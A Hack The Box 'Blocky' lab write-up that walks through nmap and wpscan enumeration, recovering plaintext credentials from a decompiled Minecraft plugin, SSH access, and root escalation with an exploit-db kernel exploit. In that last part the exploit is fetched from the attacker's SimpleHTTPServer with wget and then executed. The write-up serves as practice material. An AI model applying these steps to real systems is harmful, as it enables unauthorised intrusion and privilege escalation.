HTB Blocky Writeup
Blocky involves learning how using bad password policies and practices can present a vulnerability to a website. This box also simulates a website that is for a Minecraft server, but with that it emulates a young developer’s configurations of a web server that’s used to escalate privileges to root.
Enumeration
First we do a standard nmap -sC -sV -oA 10.10.10.37:
So we see several things:
Port 21 is open, there’s an FTP service
Port 22 is open, there’s an SSH service
Port 80 is open, there’s a Wordpress server
Port 8192??
I check the FTP for anonymous login , doesn’t work
Checking some default/common passwords for FTP and SSH, doesn’t work
Checking out the website:
We see that it’s a wordpress website for a minecraft server.
To do some further enumeration, I do a wordpress scan:
The first command I do is: wpscan --url 10.10.10.37 --enumerate u this scans the address and enumerates/finds users. Here’s what it resulted in:
Cool, we find one user: notch
Doing a similar scan for plugins (to find a potential outdated plugin that can be exploited): wpscan --url 10.10.10.37 --enumerate p
Not sure if that can be useful, just going to keep that in the back pocket.
Poking arond the wordpress site, I can’t find anything interesting so next I do a dirb scan to see if I can find some interesting directories or files. I add a -r at the end because when I initially did it without, the recursive enumeration was taking too long so adding the -r makes it not recusively search:
Checking through each of the directories and files, we eventually come across http://10.10.10.37/plugins/… Going to this directory reveals a couple interesting files:
If you’re not familiar with what a .jar file, it’s basically a zip file with Java files in it.
We can unzip the files to see what is inside it by doing unzip BlockCore.jar. This extracts two directories: com and META-INF.
Going into the com directory, there’s another directory called myfirstplugin, going into that directory there’s a java file: BlockyCore.class (A .class file is essentially compiled java code). If we want to see what this class contains, we need to decompile this file…
Exploitation
The java decompiler I use is jd-gui. On the github link, there’s instructions on how to install/run the program.
Upon running the pgoram, it brings up a GUI in which we can drag and drop the BlockyCore.class file to see the decompiled code. Doing so will give us the following code:
We see there’s credentials stored in plaintext:
Trying to logon as root on the FTP and SSH services yields no results. So referring to the wordpress enumeration scans from above, we see there’s a user we can try this password on: notch.
Checking against ssh: ssh -l notch 10.10.10.37 and typing in the password, we get a shell!
Doing a id check reveals we are user notch.
Looking around the server we see there’s a /root directory but trying to get into it we get access denied.
Privilege Escalation
Since we have a user shell, we can still do some more enumeration to find out more about the server:
Reading the OS version file by doing cat /etc/os-release spits out:
Doing one more check by doing hostnamectl tells us:
Doing some research I come across this exploit-db exploit.
I download the c file, and compile using gcc. Next, I need to get the .exe file on the victim machine. To do so, I use python’s SimpleHTTPServer and wget to do so. Here are the instructions I did.
In the directory where the exe file is (on the host computer), I do
pythom -m SimpleHTTPServer
Now on the host machine (in notch home directory, somewhere we have read/write/execute permissions), I do
wget [IP]:8000/44298.8000is the port number that the SimpleHTTPServer is being hosted on, and44298is the executable file. Doing so correctly, the shell running the SimpleHTTPServer should output aGETrequest from the victim IP10.10.10.37.Now that we got the executable on the remote machine, we need to give it permission to execute:
chmod +x 44298.
Below is steps two and three being shown:
Now all we have to do is run the executable ./44298:
Flags
user: /home/notch/user.txt
root: /root/root.txt
Last updated